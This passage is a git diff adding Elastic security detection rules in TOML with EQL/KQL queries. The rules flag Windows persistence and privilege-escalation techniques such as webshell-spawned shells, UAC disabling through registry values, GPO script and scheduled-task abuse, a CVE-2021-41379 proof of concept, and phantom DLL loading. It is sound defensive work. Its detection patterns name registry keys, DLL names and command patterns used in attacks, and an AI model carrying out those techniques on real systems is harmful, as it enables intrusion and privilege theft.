Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.003" +name = "Windows Service" +reference = "https://attack.mitre.org/techniques/T1543/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1047" +name = "Windows Management Instrumentation" +reference = "https://attack.mitre.org/techniques/T1047/" + + +[rule.threat.tactic] +id = "TA0002" +name = "Execution" +reference = "https://attack.mitre.org/tactics/TA0002/" diff --git a/rules/windows/persistence_webshell_detection.toml b/rules/windows/persistence_webshell_detection.toml new file mode 100644 index 000000000..4898c1863 --- /dev/null +++ b/rules/windows/persistence_webshell_detection.toml @@ -0,0 +1,66 @@ +[metadata] +creation_date = "2021/08/24" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access. +""" +false_positives = [ + """ + Security audits, maintenance, and network administrative scripts may trigger this alert when run under web processes. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Webshell Detection: Script Process Child of Common Web Processes" +note = """## Triage and analysis + +Detections should be investigated to identify if the activity corresponds to legitimate activity. As this rule detects post-exploitation process activity, investigations into this should be prioritized.""" +references = ["https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/"] +risk_score = 73 +rule_id = "2917d495-59bd-4250-b395-c29409b76086" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.parent.name : ("w3wp.exe", "httpd.exe", "nginx.exe", "php.exe", "php-cgi.exe", "tomcat.exe") and + process.name : ("cmd.exe", "cscript.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe", "wmic.exe", "wscript.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1505" +name = "Server Software Component" +reference = "https://attack.mitre.org/techniques/T1505/" +[[rule.threat.technique.subtechnique]] +id = "T1505.003" +name = "Web Shell" +reference = "https://attack.mitre.org/techniques/T1505/003/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1190" +name = "Exploit Public-Facing Application" +reference = "https://attack.mitre.org/techniques/T1190/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" diff --git a/rules/windows/privilege_escalation_disable_uac_registry.toml b/rules/windows/privilege_escalation_disable_uac_registry.toml new file mode 100644 index 000000000..41219aeba --- /dev/null +++ b/rules/windows/privilege_escalation_disable_uac_registry.toml @@ -0,0 +1,77 @@ +[metadata] +creation_date = "2021/01/20" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +User Account Control (UAC) can help mitigate the impact of malware on Windows hosts. With UAC, apps and tasks always run +in the security context of a non-administrator account, unless an administrator specifically authorizes +administrator-level access to the system. This rule identifies registry value changes to bypass User Access Control +(UAC) protection. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Disabling User Account Control via Registry Modification" +references = [ + "https://www.greyhathacker.net/?p=796", + "https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings", + "https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-overview", +] +risk_score = 47 +rule_id = "d31f183a-e5b1-451b-8534-ba62bca0b404" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type == "change" and + registry.path : + ( + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin", + "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\PromptOnSecureDesktop" + ) and + registry.data.strings : ("0", "0x00000000") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" +[[rule.threat.technique.subtechnique]] +id = "T1548.002" +name = "Bypass User Account Control" +reference = "https://attack.mitre.org/techniques/T1548/002/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/privilege_escalation_group_policy_iniscript.toml b/rules/windows/privilege_escalation_group_policy_iniscript.toml new file mode 100644 index 000000000..c212a508d --- /dev/null +++ b/rules/windows/privilege_escalation_group_policy_iniscript.toml @@ -0,0 +1,117 @@ +[metadata] +creation_date = "2021/11/08" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects the modification of Group Policy Objects (GPO) to add a startup/logon script to users or computer objects. +""" +false_positives = ["Legitimate Administrative Activity"] +index = ["winlogbeat-*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Startup/Logon Script added to Group Policy Object" +note = """## Triage and analysis + +### Investigating Scheduled Task Execution at Scale via GPO + +Group Policy Objects can be used by attackers as a mechanism for an attacker to instruct an arbitrarily large group of clients to +execute specified commands at startup, logon, shutdown, and logoff. This is done by creating/modifying the `scripts.ini` or +`psscripts.ini` files. The scripts are stored in the following path: `\\Machine\\Scripts\\`, `\\User\\Scripts\\` + +#### Possible investigation steps: +- This attack abuses a legitimate mechanism of the Active Directory, so it is important to determine whether the activity is legitimate +and the administrator is authorized to perform this operation. +- Retrieve the contents of the script file, and check for any potentially malicious commands and binaries. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis +- Verify if the execution is allowed and done under change management, and legitimate. + +### Related Rules +- Group Policy Abuse for Privilege Addition - b9554892-5e0e-424b-83a0-5aef95aa43bf +- Scheduled Task Execution at Scale via GPO - 15a8ba77-1c13-4274-88fe-6bd14133861e + +### Response and Remediation +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'Audit Detailed File Share' audit policy must be configured (Success Failure). +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Audit Detailed File Share (Success,Failure) +``` + +The 'Audit Directory Service Changes' audit policy must be configured (Success Failure). +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` +""" +references = [ + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md", + "https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md", + "https://labs.f-secure.com/tools/sharpgpoabuse" +] +risk_score = 47 +rule_id = "16fac1a1-21ee-4ca6-b720-458e3855d046" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +( + event.code:5136 and winlog.event_data.AttributeLDAPDisplayName:(gPCMachineExtensionNames or gPCUserExtensionNames) and + winlog.event_data.AttributeValue:(*42B5FAAE-6536-11D2-AE5A-0000F87571E3* and + (*40B66650-4972-11D1-A7CA-0000F87571E3* or *40B6664F-4972-11D1-A7CA-0000F87571E3*)) +) +or +( + event.code:5145 and winlog.event_data.ShareName:\\\\*\\SYSVOL and + winlog.event_data.RelativeTargetName:(*\\scripts.ini or *\\psscripts.ini) and + (message:WriteData or winlog.event_data.AccessList:*%%4417*) +) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1547/" +id = "T1547" +name = "Boot or Logon Autostart Execution" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1484/" +id = "T1484" +name = "Domain Policy Modification" + + [[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1484/001/" + id = "T1484.001" + name = "Group Policy Modification" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +id = "TA0004" +name = "Privilege Escalation" diff --git a/rules/windows/privilege_escalation_group_policy_privileged_groups.toml b/rules/windows/privilege_escalation_group_policy_privileged_groups.toml new file mode 100644 index 000000000..1e320ad35 --- /dev/null +++ b/rules/windows/privilege_escalation_group_policy_privileged_groups.toml @@ -0,0 +1,93 @@ +[metadata] +creation_date = "2021/11/08" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects the first occurrence of a modification to Group Policy Object Attributes to add privileges to user accounts or +use them to add users as local admins. +""" +index = ["winlogbeat-*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Group Policy Abuse for Privilege Addition" +note = """## Triage and analysis + +### Investigating Group Policy Abuse for Privilege Addition + +Group Policy Objects can be used to add rights and/or modify Group Membership on GPOs by changing the contents of an INF +file named GptTmpl.inf, which is responsible for storing every setting under the Security Settings container in the GPO. +This file is unique for each GPO, and only exists if the GPO contains security settings. +Example Path: "\\\\DC.com\\SysVol\\DC.com\\Policies\\{21B9B880-B2FB-4836-9C2D-2013E0D832E9}\\Machine\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf" + +#### Possible investigation steps: +- This attack abuses a legitimate mechanism of the Active Directory, so it is important to determine whether the activity +is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `GptTmpl.inf` file, and under the `Privilege Rights` section, look for potentially +dangerous high privileges, for example: SeTakeOwnershipPrivilege, SeEnableDelegationPrivilege, etc. +- Inspect the user SIDs associated with these privileges. + +### False Positive Analysis +- Verify if the User SIDs should have these privileges. +- Inspect whether the user that has done the modifications should be allowed to. The user name can be found in the +`winlog.event_data.SubjectUserName` field. + +### Related Rules +- Scheduled Task Execution at Scale via GPO +- Startup/Logon Script added to Group Policy Object + +### Response and Remediation +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'Audit Directory Service Changes' audit policy must be configured (Success Failure). +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` +""" +references = [ + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md", + "https://labs.f-secure.com/tools/sharpgpoabuse", +] +risk_score = 73 +rule_id = "b9554892-5e0e-424b-83a0-5aef95aa43bf" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.code: "5136" and winlog.event_data.AttributeLDAPDisplayName:"gPCMachineExtensionNames" and +winlog.event_data.AttributeValue:(*827D319E-6EAC-11D2-A4EA-00C04F79F83A* and *803E14A0-B4FB-11D0-A0D0-00A0C90F574B*) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1484/" +id = "T1484" +name = "Domain Policy Modification" + + [[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1484/001/" + id = "T1484.001" + name = "Group Policy Modification" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +id = "TA0004" +name = "Privilege Escalation" diff --git a/rules/windows/privilege_escalation_group_policy_scheduled_task.toml b/rules/windows/privilege_escalation_group_policy_scheduled_task.toml new file mode 100644 index 000000000..68b386811 --- /dev/null +++ b/rules/windows/privilege_escalation_group_policy_scheduled_task.toml @@ -0,0 +1,118 @@ +[metadata] +creation_date = "2021/11/08" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Detects the modification of Group Policy Object attributes to execute a scheduled task in the objects controlled by the GPO. +""" +index = ["winlogbeat-*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Scheduled Task Execution at Scale via GPO" +note = """## Triage and analysis + +### Investigating Scheduled Task Execution at Scale via GPO + +Group Policy Objects can be used by attackers to execute scheduled tasks at scale to compromise objects controlled by a +given GPO. This is done by changing the contents of the `\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml` +file. + +#### Possible investigation steps: +- This attack abuses a legitimate mechanism of the Active Directory, so it is important to determine whether the activity +is legitimate and the administrator is authorized to perform this operation. +- Retrieve the contents of the `ScheduledTasks.xml` file, and check the `` and `` XML tags for any +potentially malicious commands and binaries. +- If the action is suspicious for the user, check for any other activities done by the user in the last 48 hours. + +### False Positive Analysis +- Verify if the execution is allowed and done under change management, and if the execution is legitimate. + +### Related Rules +- Group Policy Abuse for Privilege Addition +- Startup/Logon Script added to Group Policy Object + +### Response and Remediation +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. + +## Config + +The 'Audit Detailed File Share' audit policy must be configured (Success Failure). +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +Object Access > +Audit Detailed File Share (Success,Failure) +``` + +The 'Audit Directory Service Changes' audit policy must be configured (Success Failure). +Steps to implement the logging policy with with Advanced Audit Configuration: +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +DS Access > +Audit Directory Service Changes (Success,Failure) +``` +""" +references = [ + "https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0025_windows_audit_directory_service_changes.md", + "https://github.com/atc-project/atc-data/blob/f2bbb51ecf68e2c9f488e3c70dcdd3df51d2a46b/docs/Logging_Policies/LP_0029_windows_audit_detailed_file_share.md", + "https://labs.f-secure.com/tools/sharpgpoabuse", + "https://twitter.com/menasec1/status/1106899890377052160", + "https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_gpo_scheduledtasks.yml" +] +risk_score = 47 +rule_id = "15a8ba77-1c13-4274-88fe-6bd14133861e" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation", "Active Directory"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +(event.code: "5136" and winlog.event_data.AttributeLDAPDisplayName:("gPCMachineExtensionNames" or "gPCUserExtensionNames") and + winlog.event_data.AttributeValue:(*CAB54552-DEEA-4691-817E-ED4A4D1AFC72* and *AADCED64-746C-4633-A97C-D61349046527*)) +or +(event.code: "5145" and winlog.event_data.ShareName: "\\\\*\\SYSVOL" and winlog.event_data.RelativeTargetName: *ScheduledTasks.xml and + (message: WriteData or winlog.event_data.AccessList: *%%4417*)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1053/" +id = "T1053" +name = "Scheduled Task/Job" + + [[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1053/005/" + id = "T1053.005" + name = "Scheduled Task" + +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1484/" +id = "T1484" +name = "Domain Policy Modification" + + [[rule.threat.technique.subtechnique]] + reference = "https://attack.mitre.org/techniques/T1484/001/" + id = "T1484.001" + name = "Group Policy Modification" + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +id = "TA0004" +name = "Privilege Escalation" diff --git a/rules/windows/privilege_escalation_installertakeover.toml b/rules/windows/privilege_escalation_installertakeover.toml new file mode 100644 index 000000000..a23ac9530 --- /dev/null +++ b/rules/windows/privilege_escalation_installertakeover.toml @@ -0,0 +1,83 @@ +[metadata] +creation_date = "2021/11/25" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies a potential exploitation of InstallerTakeOver (CVE-2021-41379) default PoC execution. Successful exploitation +allows an unprivileged user to escalate privileges to SYSTEM. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Privilege Escalation via InstallerFileTakeOver" +note = """## Triage and analysis. + +### Investigating Potential Priivilege Escalation via InstallerFileTakeOver + +InstallerFileTakeOver is a weaponized EoP PoC to the CVE-2021-41379 vulnerability. Upon successful exploitation, +an unprivileged user will escalate privileges to SYSTEM/NT AUTHORITY. + +This rule detects the default execution of the PoC, which overwrites the `elevation_service.exe` DACL and copies itself +to the location to escalate privileges. An attacker is able to still take over any file that is not in use (locked), which is outside the scope of this rule. + +#### Possible investigation steps: + +- Check for the digital signature of the executable. +- Look for additional processes spawned by the process, command lines, and network communications. +- Look for additional alerts involving the host and the user. + +### False Positive Analysis + +- Verify whether the digital signature exists in the executable, and if it is valid. + +### Related Rules + +- Suspicious DLL Loaded for Persistence or Privilege Escalation - bfeaf89b-a2a7-48a3-817f-e41829dc61ee + +### Response and Remediation + +- Immediate response steps should be taken to validate, investigate, and potentially contain the activity to prevent +further post-compromise behavior. +""" +references = [ + "https://github.com/klinix5/InstallerFileTakeOver" +] +risk_score = 73 +rule_id = "58c6d58b-a0d3-412d-b3b8-0981a9400607" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +/* This rule is compatible with both Sysmon and Elastic Endpoint */ + +process where event.type == "start" and + (process.Ext.token.integrity_level_name : "System" or + winlog.event_data.IntegrityLevel : "System") and + ( + (process.name : "elevation_service.exe" and + not process.pe.original_file_name == "elevation_service.exe") or + + (process.parent.name : "elevation_service.exe" and + process.name : ("rundll32.exe", "cmd.exe", "powershell.exe")) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + + [[rule.threat.technique]] + id = "T1068" + reference = "https://attack.mitre.org/techniques/T1068/" + name = "Exploitation for Privilege Escalation" + + [rule.threat.tactic] + id = "TA0004" + reference = "https://attack.mitre.org/tactics/TA0004/" + name = "Privilege Escalation" diff --git a/rules/windows/privilege_escalation_lsa_auth_package.toml b/rules/windows/privilege_escalation_lsa_auth_package.toml new file mode 100644 index 000000000..0d33aa979 --- /dev/null +++ b/rules/windows/privilege_escalation_lsa_auth_package.toml @@ -0,0 +1,67 @@ +[metadata] +creation_date = "2021/01/21" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Adversaries can use the autostart mechanism provided by the Local Security Authority (LSA) authentication packages for +privilege escalation or persistence by placing a reference to a binary in the Windows registry. The binary will then be +executed by SYSTEM when the authentication packages are loaded. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential LSA Authentication Package Abuse" +risk_score = 47 +rule_id = "e9abe69b-1deb-4e19-ac4a-5d5ac00f72eb" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type == "change" and + registry.path : "HKLM\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Authentication Packages" and + /* exclude SYSTEM SID - look for changes by non-SYSTEM user */ + not user.id : "S-1-5-18" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.002" +name = "Authentication Package" +reference = "https://attack.mitre.org/techniques/T1547/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.002" +name = "Authentication Package" +reference = "https://attack.mitre.org/techniques/T1547/002/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/privilege_escalation_named_pipe_impersonation.toml b/rules/windows/privilege_escalation_named_pipe_impersonation.toml new file mode 100644 index 000000000..6021fa1af --- /dev/null +++ b/rules/windows/privilege_escalation_named_pipe_impersonation.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2020/11/23" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies a privilege escalation attempt via named pipe impersonation. An adversary may abuse this technique by +utilizing a framework such Metasploit's meterpreter getsystem command. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Privilege Escalation via Named Pipe Impersonation" +references = [ + "https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation", +] +risk_score = 73 +rule_id = "3ecbdc9e-e4f2-43fa-8cca-63802125e582" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.pe.original_file_name in ("Cmd.Exe", "PowerShell.EXE") and + process.args : "echo" and process.args : ">" and process.args : "\\\\.\\pipe\\*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1134" +name = "Access Token Manipulation" +reference = "https://attack.mitre.org/techniques/T1134/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_persistence_phantom_dll.toml b/rules/windows/privilege_escalation_persistence_phantom_dll.toml new file mode 100644 index 000000000..507434ce2 --- /dev/null +++ b/rules/windows/privilege_escalation_persistence_phantom_dll.toml @@ -0,0 +1,90 @@ +[metadata] +creation_date = "2020/01/07" +maturity = "production" +updated_date = "2021/05/27" + +[rule] +author = ["Elastic"] +description = """ +Identifies the loading of a non Microsoft signed DLL that is missing on a default Windows install (phantom DLL) or one +that can be loaded from a different location by a native Windows process. This may be abused to persist or elevate +privileges via privileged file write vulnerabilities. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious DLL Loaded for Persistence or Privilege Escalation" +references = [ + "https://itm4n.github.io/windows-dll-hijacking-clarified/", + "http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html", + "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", + "https://shellz.club/edgegdi-dll-for-persistence-and-lateral-movement/", + "https://windows-internals.com/faxing-your-way-to-system/", + "http://waleedassar.blogspot.com/2013/01/wow64logdll.html", +] +risk_score = 73 +rule_id = "bfeaf89b-a2a7-48a3-817f-e41829dc61ee" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +library where dll.name : + ( + "wlbsctrl.dll", + "wbemcomn.dll", + "WptsExtensions.dll", + "Tsmsisrv.dll", + "TSVIPSrv.dll", + "Msfte.dll", + "wow64log.dll", + "WindowsCoreDeviceInfo.dll", + "Ualapi.dll", + "wlanhlp.dll", + "phoneinfo.dll", + "EdgeGdi.dll", + "cdpsgshims.dll", + "windowsperformancerecordercontrol.dll", + "diagtrack_win.dll" + ) and +not (dll.code_signature.subject_name : ("Microsoft Windows", "Microsoft Corporation") and dll.code_signature.status : "trusted") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +[[rule.threat.technique.subtechnique]] +id = "T1574.002" +name = "DLL Side-Loading" +reference = "https://attack.mitre.org/techniques/T1574/002/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +[[rule.threat.technique.subtechnique]] +id = "T1574.001" +name = "DLL Search Order Hijacking" +reference = "https://attack.mitre.org/techniques/T1574/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/privilege_escalation_port_monitor_print_pocessor_abuse.toml b/rules/windows/privilege_escalation_port_monitor_print_pocessor_abuse.toml new file mode 100644 index 000000000..bbc327c47 --- /dev/null +++ b/rules/windows/privilege_escalation_port_monitor_print_pocessor_abuse.toml @@ -0,0 +1,70 @@ +[metadata] +creation_date = "2021/01/21" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies port monitor and print processor registry modifications. Adversaries may abuse port monitor and print +processors to run malicious DLLs during system boot that will be executed as SYSTEM for privilege escalation and/or +persistence, if permissions allow writing a fully-qualified pathname for that DLL. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Port Monitor or Print Processor Registration Abuse" +references = ["https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"] +risk_score = 47 +rule_id = "8f3e91c7-d791-4704-80a1-42c160d7aa27" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type in ("creation", "change") and + registry.path : ("HKLM\\SYSTEM\\*ControlSet*\\Control\\Print\\Monitors\\*", + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Print\\Environments\\Windows*\\Print Processors\\*") and + registry.data.strings : "*.dll" and + /* exclude SYSTEM SID - look for changes by non-SYSTEM user */ + not user.id : "S-1-5-18" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.010" +name = "Port Monitors" +reference = "https://attack.mitre.org/techniques/T1547/010/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.010" +name = "Port Monitors" +reference = "https://attack.mitre.org/techniques/T1547/010/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/privilege_escalation_printspooler_registry_copyfiles.toml b/rules/windows/privilege_escalation_printspooler_registry_copyfiles.toml new file mode 100644 index 000000000..2a7365899 --- /dev/null +++ b/rules/windows/privilege_escalation_printspooler_registry_copyfiles.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/11/26" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to exploit a privilege escalation vulnerability (CVE-2020-1030) related to the print spooler service. +Exploitation involves chaining multiple primitives to load an arbitrary DLL into the print spooler process running as +SYSTEM. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Print Spooler Point and Print DLL" +references = [ + "https://www.accenture.com/us-en/blogs/cyber-defense/discovering-exploiting-shutting-down-dangerous-windows-print-spooler-vulnerability", + "https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES/blob/master/Privilege%20Escalation/privesc_sysmon_cve_20201030_spooler.evtx", + "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1030", +] +risk_score = 73 +rule_id = "bd7eefee-f671-494e-98df-f01daf9e5f17" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +type = "eql" + +query = ''' +sequence by host.id with maxspan=30s +[registry where + registry.path : "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\Printers\\*\\SpoolDirectory" and + registry.data.strings : 